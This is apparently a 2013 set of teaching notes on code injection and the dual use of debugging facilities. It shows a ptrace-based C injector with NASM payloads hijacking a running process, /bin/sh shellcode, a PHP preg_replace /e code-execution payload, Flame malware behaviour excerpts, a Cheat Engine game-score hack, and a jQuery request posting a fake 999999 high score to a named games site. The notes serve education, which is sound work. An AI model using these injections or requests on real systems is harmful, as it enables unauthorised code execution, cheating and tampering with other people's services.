29 November 2013
Home • Projects • Git source
The methods by which exploits are caried out often had or have valid uses. Some examples would be:
ptrace
system call in UnixesUSR1
signal.pointcut all() : call (* * (..)) && !within(Profiler) &&
!within(MessageStatistics);
before() : all() {
...
String sig = thisJoinPoint.getSignature().toString();
Call mcall = calls.get(sig);
if (mcall == null) {
mcall = new Call();
calls.put(sig, mcall);
}
mcall.calls++;
mcall.startCall = System.nanoTime();
}
e
modifier which interprets the replacing string.$str = preg_replace(
'(<strong>(.*?)</strong>)e',
'"<strong>" . strtoupper("$1") . "</strong>"',
$str
);
(Sidenote: regexes for HTML are a horrible idea. This is just a toy example.)
Intended use:
$str = 'I care <strong>a lot</strong>!';
Becomes:
'I care <strong>A LOT</strong>!';
Problem (example execution of arbritary code):
$str = '<strong>{${phpinfo()}}</strong>';
Never use the e
modifier. Use callbacks instead.
$str = preg_replace_callback(
'(<strong>(.*?)</strong>)',
function ($match) {
return "<strong>" . strtoupper($match[1]) . "</strong>";
},
$str
);
$newtablename = preg_replace(
"/^" . $from_prefix . "/",
$to_prefix, $current);
$from_prefix
ends with "/e\x00"
, the last "/"
isn't the one which ends the regex./proc/<pid>/maps
.echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
nasm -f bin -o host host.asm
.
BITS 32
org 0x08048000
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 1, 1, 1, 0 ; e_ident
times 8 db 0
dw 2 ; e_type
dw 3 ; e_machine
dd 1 ; e_version
dd _start ; e_entry
dd phdr - $$ ; e_phoff
dd 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 1 ; p_type
dd 0 ; p_offset
dd $$ ; p_vaddr
dd $$ ; p_paddr
dd filesize ; p_filesz
dd filesize ; p_memsz
dd 5 ; p_flags
dd 0x1000 ; p_align
phdrsize equ $ - phdr
; Constants --------------------------------------------------------------------
sys_exit equ 1
sys_write equ 4
sys_nanosleep equ 162
exit_success equ 0
stdout equ 1
; Structures -------------------------------------------------------------------
struc timespec
sec: resd 1
nsec: resd 1
endstruc
; Data -------------------------------------------------------------------------
ping:
db 'Ping...'
ping_end:
pong:
db ' pong.', 10
pong_end:
sleep_delay:
istruc timespec
at sec, dd 1
at nsec, dd 0
iend
; Main -------------------------------------------------------------------------
_start:
write_again:
; Write ping.
mov eax, sys_write
mov ebx, stdout
mov ecx, ping
mov edx, ping_end-ping
int 0x80
; Sleep for a while.
mov eax, sys_nanosleep
mov ebx, sleep_delay
mov ecx, 0 ; Abandon remaining time on interrupts.
int 0x80
; Write pong.
mov eax, sys_write
mov ebx, stdout
mov ecx, pong
mov edx, pong_end-pong
int 0x80
; Sleep for a while.
mov eax, sys_nanosleep
mov ebx, sleep_delay
mov ecx, 0 ; Abandon remaining time on interrupts.
int 0x80
jmp write_again
filesize equ $ - $$
cat /proc/`pgrep host`/maps
):
08048000-08049000 r-xp 00000000 08:05 852736 /home/p/fac/ss/ongit/02/code/ptrace/host
f776b000-f776c000 r-xp 00000000 00:00 0 [vdso]
ffcef000-ffd10000 rwxp 00000000 00:00 0 [stack]
// The first argument is the PID of the process to control.
pid_t pid = atoi(argv[1]);
// The second argument is the point of injection in that process.
int inject_point = strtol(argv[2], NULL, 16);
// Attach to the process (it stops).
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
// Wait for process to stop.
waitpid(pid, NULL, WUNTRACED);
// Change it somehow.
trace_proc(...);
// Detach so that the process can continue.
ptrace(PTRACE_DETACH, pid, NULL, NULL);
// Read the injection from STDIN.
read_stdin_to_buf(buf, sizeof(buf), &total);
// Place it at the injection point.
put_data(pid, inject_point, buf, total);
// Get the registers.
ptrace(PTRACE_GETREGS, pid, NULL, ®s);
// Clean up some registers.
regs.eax = regs.ebx = regs.ecx = regs.edx = 0;
// Change the instruction pointer to the injection entry point.
regs.eip = inject_point;
// Set the new register values.
ptrace(PTRACE_SETREGS, pid, NULL, ®s);
nasm -f bin -o injection injection.asm
.
BITS 32
org 0x08048200
write_again:
; Write boom.
mov eax, sys_write
mov ebx, stdout
mov ecx, boom
mov edx, boom_end-boom
int 0x80
; Sleep for a while.
mov eax, sys_nanosleep
mov ebx, sleep_delay
mov ecx, 0 ; Abandon remaining time on interrupts.
int 0x80
jmp write_again
; Constants --------------------------------------------------------------------
sys_exit equ 1
sys_write equ 4
sys_nanosleep equ 162
exit_success equ 0
stdout equ 1
; Structures -------------------------------------------------------------------
struc timespec
sec: resd 1
nsec: resd 1
endstruc
; Data -------------------------------------------------------------------------
boom:
db 'BOOM!!! '
boom_end:
sleep_delay:
istruc timespec
at sec, dd 1
at nsec, dd 0
iend
Terminal 1
[p@morker]$ ./host
Ping... pong.
Ping... pong.
Ping... pong.
Ping...BOOM!!! BOOM!!! BOOM!!! BOOM!!! BOOM!!! BOOM!!! BOOM!!!
BOOM!!! BOOM!!! BOOM!!! BOOM!!! BOOM!!! BOOM!!! BOOM!!! BOOM!!!
BOOM!!! BOOM!!! BOOM!!! BOOM!!! BOOM!!!
Terminal 2
[p@morker]$ ./inject `pgrep host` 08048200 < injection
The binary has 30 bytes and it can easily be improved.
BITS 32
org 0x08048200
mov eax, 11 ; execve
mov ebx, binsh
mov ecx, 0
mov edx, 0
int 0x80
binsh:
db '/bin/sh', 0
mssecmgr.ocx
and it executes
at startup by different methods with DDEnumCallback
as
the entry point. Example:
rundll32.exe c:\windows\system32\mssecmgr.ocx,DDEnumCallback
ZwCreateSection()
and LoadLibrary()
).VirtualAllocEx()
and WriteProcessMemory()
).winlogon.exe
with injected code working with
ccalc32.sys
(procmon
output from
the CrySyS Lab report)
0 fltmgr.sys fltmgr.sys + 0x1888 0xf83f0888 C:\WINDOWS\System32\Drivers\fltmgr.sys
1 fltmgr.sys fltmgr.sys + 0x31a7 0xf83f21a7 C:\WINDOWS\System32\Drivers\fltmgr.sys
2 fltmgr.sys fltmgr.sys + 0xfc7a 0xf83fec7a C:\WINDOWS\System32\Drivers\fltmgr.sys
3 ntkrnlpa.exe ntkrnlpa.exe + 0xac124 0x80583124 C:\WINDOWS\system32\ntkrnlpa.exe
4 ntkrnlpa.exe ntkrnlpa.exe + 0xe8488 0x805bf488 C:\WINDOWS\system32\ntkrnlpa.exe
5 ntkrnlpa.exe ntkrnlpa.exe + 0xe4a14 0x805bba14 C:\WINDOWS\system32\ntkrnlpa.exe
6 ntkrnlpa.exe ntkrnlpa.exe + 0x9ffeb 0x80576feb C:\WINDOWS\system32\ntkrnlpa.exe
7 ntkrnlpa.exe ntkrnlpa.exe + 0x6a67c 0x8054167c C:\WINDOWS\system32\ntkrnlpa.exe
8 <unknown> 0x1f2a333 0x1f2a333
9 <unknown> 0x1f1ed9c 0x1f1ed9c
10 <unknown> 0x1f1128b 0x1f1128b
11 <unknown> 0x1f1c900 0x1f1c900
services.exe loads advnetcfg.ocx services.exe loads nteps32.ocx from mssecmgr.ocx winlogon.exe also loads nteps32.ocx explorer.exe starts 5 iexplore processes services.exe writes ccalc32.sys and winlogon.exe loads it services.exe loads boot32drv.sys
explorer.exe
to connect to a web site. But this
is suspicious.iexplorer.exe
to connect
to windowsupdate.microsoft.com
to first test the connection.Opening a message box at begining of a program using OllyDbg.
Pseudo assembly:
origin:
jmp code_cave
intact_origin:
...
my_str:
db "The text"
code_cave:
push 0 ; Dialog type (0 = with an 'OK' button).
push my_str ; Dialog title (same as message).
push my_str ; Dialog message.
push 0 ; Owning window (0 = none);
call user32.MessageBoxA
restored_origin:
<starts like origin>
jmp intact origin
Getting some points on pinball to scan the addresses. Opening the process of the app with Cheat-engine 6.
Scanning for the address that stores the score: 14500.
Let’s find what write to this address.
Putting a breakpoint on this address and disassembling.
This is the instruction that changes game score
[eax] has a pointer value
move [eax]ecx takes the value from ecx and write it to the eax register
Selected area is the function that operates the score.
Let’s find out who’s calling this function.
Full stack view (bottom-right corner).
Where the score function is called, the score argument is passed.
ASM code injection before the function call.
ASM code injection before the function call.
ASM code injection before the function call.
Creating a subroutine, allocating some memory and putting the instructions there.
Writing our code before that code executes, changing the outcome of it. Dividing the score by 100
Injecting the code.
Injecting the code.
Running the modified game.
Every points scored are divided by 100.
kill -s USR1 pid
node debug localhost:5858
setBreakpoint('app.js', 1234)
repl
$.post('http://playtowerdefensegames.com/' +
'highscores/submit/play4scores.php',
{game_id:1159, score:999999, user_id:'My name'});
It's generaly hard to prevent on owned machines since debugging tools are necessary.